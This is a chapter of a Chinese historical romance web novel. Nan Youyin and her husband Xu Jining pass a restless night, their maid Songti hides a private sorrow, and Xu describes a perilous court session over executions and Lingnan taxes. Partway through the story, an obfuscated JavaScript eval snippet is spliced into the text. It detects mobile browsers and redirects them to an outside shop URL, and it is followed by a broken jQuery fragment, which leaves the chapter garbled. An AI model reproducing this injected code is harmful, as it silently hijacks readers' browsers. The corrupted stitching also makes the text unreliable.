74. 风起

作品:《寂寂山光月有声

    睡前喝太多水不是一件正确的选择,当南有音被噩梦惊醒,又在徐寂宁的安抚下睡着,而后又被膀胱地憋胀感唤醒了时,天仍然没亮。


    “嗯?”怀里的人轻微动了一下,徐寂宁接着觉察到了,轻声问道,“有音?你醒了?”


    “嗯……”南有音欲言又止。


    “怎么了?”


    南有音有点别扭,小声道:“都怪你,光给我倒水喝。”


    徐寂宁闻言,挑了挑床头的灯芯,让烛火烧地更亮。南有音披了件衣服下床,却望着黑峻峻的夜色打怵。


    “你陪我。”南有音命令道。


    “好。”徐寂宁也披了件衣服。


    两人默默走到门口,南有音推门进去,徐寂宁也跟着进去了,两人面面相觑了片刻,徐寂宁又红着脸退了出去:“我在门口等你。”


    他在门口候着,南有音又命令道:“你再走远点。”


    他红着脸走了几步,南有音又说:“不准走太远,我一喊你,你就能听到才行。”


    片刻后,南有音再度出来,跑得飞快,拽着徐寂宁三步做两步回到卧房,回到温暖明亮的屋子。


    一阵窸窸窣窣声后,两人带着夜晚的寒气,重新躺在了被窝里。


    “继续睡吧。”徐寂宁温声说道,“离天亮还有一段时间。”


    南有音半个脑袋,埋在被子里,不太开心地哼唧。


    “怎么啦?”徐寂宁侧过身,面对着南有音露在外面的半个脑袋。


    “你好不容易回来休息一夜,结果光被我打搅了。”南有音有点懊恼,“你本来睡得就浅,这下该睡不着了。你要不把灯灭了,太亮了你大概也睡不着。”


    “无妨,”徐寂宁玩笑道,“万一一吹蜡烛,黑暗里的那些妖魔鬼怪又冒出来吓唬你呢?”


    “我不怕,”南有音的声音从被子底下传来,听起来闷闷的,“熄了灯吧,你好歹睡会儿。”


    在南有音的一再坚持下,徐寂宁熄灭了床头的烛火,屋内骤然陷入了黑暗,他感受到一旁的南有音将自己蜷缩地更厉害了,想必是在幻想黑暗中的鬼怪了,或者噩梦中的场景。


    “有音,你怎么知道我睡得浅的?”徐寂宁轻声发问,帮南有音换换脑子里的内容,别再想些吓人的。


    不过他也确实好奇,他发现南有音是一个睡眠很好的姑娘,通常一沾枕头就到天亮,不知是怎么知道的他睡觉浅。


    南有音回答道:“太太跟我说的,她过去常问我最近你睡得好不好,你有没有发现,咱们屋里的熏香是太太特意找人调的,据说有安眠的作用,你不在我一般是不点的,不然昏昏沉沉的犯困,什么也做不了。”


    忽然知晓母亲在细微处的关心,徐寂宁心底到生出几丝浅浅的愧疚,近来他很少去母亲的院子里,一是因为官职在身,实在忙碌,二则是因为母亲总是搬出孩子这个话题,使他不堪其扰。


    想到这儿,他问道:“有音,太太最近还总是提小孩的事吗?有没有为难你?”


    “唔,提就提吧,反正我听惯了。前天小甲的生日,我妈带着玉振来了一趟,我本以为太太与我妈一见面,两人又要一拍即合异口同声的提孩子的事,但很怪,她们两个都没提。”南有音觉得奇怪,“当时我只顾着玉振和松梯之间的事了,事后才发现太太跟母亲的反常,莫非她们两个想通了?”


    徐寂宁有些紧张:“那天松梯跟玉振没什么被太太发现的吧?”


    “我不知道,后面我被小甲缠住了,没法分神,”南有音说道,“不过这几天也都风平浪静,大概没发生什么吧。”


    “但愿如此。”依徐寂宁对母亲的了解,松梯玉振之事一旦被她察觉,必然不会善罢甘休。


    想到小甲,南有音无端的有点惆怅:“在成亲前,我还想过将来生几个小孩之类的,现在……”


    她倦倦道:“算了,不跟你说话了,越说要越精神了,睡吧。”


    两人仍在一张床上,仍盖着一床被子,彼此的距离也不算远,但刚刚起夜回来时,似乎将夜晚的寒霜也带了进来,冲破了此前相拥而眠的温度,使得二人之间多了些不清不楚的沟壑,肢体触碰时总生出几分不自在。


    南有音翻了个身,背朝徐寂宁,轻轻叹息一声。


    再度醒来时,天色仍旧暗沉,屋里的烛灯重新点着了,屋外是簌簌雨声,屋内是衣料摩擦的窸窸窣窣声与压得很低,几乎要被埋在雨中的说话声。


    南有音眼睛睁开一条缝,注视灯火中人影憧憧的卧房。


    徐寂宁上早朝的时辰到了,松梯与另一个小丫鬟正服侍他换上朝服,基本已经穿戴妥当了,只差一顶冠帽。


    “昨夜有音睡得不好,”徐寂宁低声对正在替他系系带的松梯说道,“今早叫厨房那边晚一点送饭吧。”


    “是。”松梯垂着眼帘,细声细气地答应了。


    松梯在徐府多年,徐寂宁与她相当熟识,这份熟悉使得他察觉到她垂着眼帘时,仿佛带着隐隐悒怏与疲惫。


    “你怎么了?”他轻声问。


    松梯望了他一眼,摇摇头,他抬手,打发走了另一个小丫鬟,试探着问道:“该不会是因为玉振的事?”


    似乎是被说中了心事,松梯低头不语,半张脸藏在烛火照不到的阴影里。


    片刻后,她推了推徐寂宁,说道:“时候不早了,你快些去吧。”


    而后是一阵放得很轻的脚步声,徐寂宁熄了烛火,松梯轻轻启开屋门,出门时徐寂宁顿了顿脚步,回头看了看床上的南有音。


    门又缓缓地合上了,窗外仍是一片漆黑,南有音算了算时间,大概寅时左右,她打了个哈欠,听着屋外的雨声,又困倦起来。


    她向来是不必操心徐寂宁早朝的事,往往是天不亮徐寂宁就起来,偶尔她也被吵醒了,徐寂宁就会叫她继续睡,她往往也就继续昏睡,等她醒来吃饭时,徐寂宁也就穿着朝服回来了。她见过很多次徐寂宁下朝,今日倒是她头一次看到徐寂宁上朝离开。


    南有音眼皮越发沉重,她想着松梯她们不知道要起多早,大概徐寂宁还没起,松梯就得先起来安排院里的人准备。


    南有音念着松梯辛苦,却又想到了徐寂宁临出门时问松梯的话,松梯这两日好像是有点默不作声。


    南有音琢磨着琢磨着,又睡了过去。


    再次睁开眼,天色灰蒙蒙的,淅淅沥沥的雨声不止,她穿好衣服下床,打开窗子,湿漉漉地水汽夹杂着寒风扑面而来,冻得她打了个哆嗦,她又关上窗子,然后叫松梯进来给她盘发。


    松梯的手很巧,总能将南有音一头乌黑秀发的美感发挥到极致。


    梳子划过头发,轻微的摩擦声没入雨声,南有音透过镜子,小心查看松梯的神情,在镜子里与松梯眼神撞上时,不知道是因为雨天还是其他缘故,她发觉松梯圆眼睛确实有些黯淡,她冲松梯笑了一下,问道:“松梯,有心事?”


    松梯没应声。


    南有音便又问:“是你和玉振之间?”


    松梯咬了咬嘴唇,似乎有些惶恐:“还请少奶奶不要再问了……”


    “好。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445834|154041||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    南有音没再问,她想也是,没有那个姑娘愿意自己心里那些事被反复盘问,徐寂宁问过了她也问了,搞得好像要逼松梯说出些什么来似得。


    梳完头发,松梯便要出传饭,南有音拉住她的手,拉住她,而后松松地环抱她的腰肢,轻轻的但也甜甜地唤了一声:“松梯姐姐。”


    松梯疲惫的脸上总算复现了一点笑意,也搂住了南有音。她听到南有音的声音从她的心口处传来:“松梯姐姐,我会站在你身边的。”


    “我知道。”松梯喃喃。


    她放开南有音,叫厨房那边送早餐,等到几个小丫鬟将粥与几碟小菜摆好时,徐寂宁下朝回来了,他跨过雨幕,眉梢带带着雨滴。


    “你怎么回来了?”南有音问道。


    “雨大,今天不用监斩了。”徐寂宁脸色不太好,看上去些许苍白。


    “怎么了?朝中出什么事了吗?”


    “中书门下的林大人上书提到刑场斩决不断,杀伐过重,表示现已入冬,理应休养生息,请皇帝止杀。”


    “那皇上怎么说?”


    “皇上不准,林大人便说这些天处置的人,许多无辜受累的,没必要一并株连,”徐寂宁继续说道,“皇上没说话,既没答应也没拒绝,想叫林大人难堪一阵,我……”


    “你怎么?”南有音接话,“于是你借机站出来,同林大人一起,为岭南诸人陈情?”


    “是,皇上脸上看不出喜怒,但我能感觉到他不太高兴,他说他过去说过,再为永安王一事求情者格杀勿论,”提起这段,徐寂宁脸色发白,声音打颤,连带着南有音手上筷子夹的一小块咸菜也掉到了桌上,“而后他又说,林大人与我都是他的肱骨,这次便饶了我们,又说今日雨大,兴许是老天悲悯,是想洗净刑场,便等明日雨停了再继续……”


    徐寂宁心有余悸,南有音也食不下咽,只轻声道:“好在最后你回来了。”


    “嗯。”徐寂宁点点头,只是注视着南有音。


    “你也吃呀。”南有音把几碟小菜推到了徐寂宁眼前。


    “有音。”徐寂宁欲言又止。


    “怎么了?”


    “今日朝堂不止刚刚那些,还有……”


    南有音抬起头,认真看着徐寂宁发白的面孔:“怎么了?”


    “林大人提到岭南的犯人之后,又有人提到了岭南今日不怎么太平,民怨深积,他说那些人是永安王余孽,我不认同……”


    南有音问道:“所以你又启奏请求赋税改制?”


    “嗯,”徐寂宁垂眸道,“你我去过岭南,知道百姓爱戴永安王不过是因为他爱民如子,也知道百姓痛恨朝堂是因为赋税苛杂繁冗,我便再次同皇上陈词,我知道皇上不爱听这话,父亲也警告过我不要多事,但我……还是说了。”


    南有音大概是唯一一个不会劝阻他的人,她说:“总有人要为岭南百姓说两句的。”


    徐寂宁有些忧虑:“但我说完之后,皇帝什么话也没说,直接散朝了。”


    “呃……这是什么意思?”南有音并不太懂。


    徐寂宁摇摇头:“当今圣上的想法没人能猜的出来,但大概不会是什么好事。”


    “只要你没有后悔就好。”南有音温和道,“你说过的,为官做宰修身为民。”


    “我自是不会后悔,岭南赋税之事,就算今天不说,日后我也肯定重提,”徐寂宁注视着南有音,“我只担心你会因我而受累。”


    徐寂宁眼睫颤了颤,缓缓垂下:“有音,我不想你再经受岭南之行的苦了。”